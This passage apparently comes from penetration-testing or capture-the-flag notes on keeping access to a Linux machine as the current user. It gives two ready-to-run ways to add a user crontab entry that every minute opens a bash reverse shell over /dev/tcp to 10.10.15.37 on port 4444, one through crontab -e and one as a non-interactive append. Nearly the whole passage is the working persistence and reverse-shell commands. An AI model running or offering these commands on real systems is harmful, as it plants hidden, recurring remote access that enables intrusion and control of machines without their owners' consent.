If persistence is only required as the current user, a user crontab can be modified.
Edit the current user's crontab:
crontab -e
Add:
* * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.15.37/4444 0>&1'
Or append non-interactively:
(crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.15.37/4444 0>&1'") | crontab -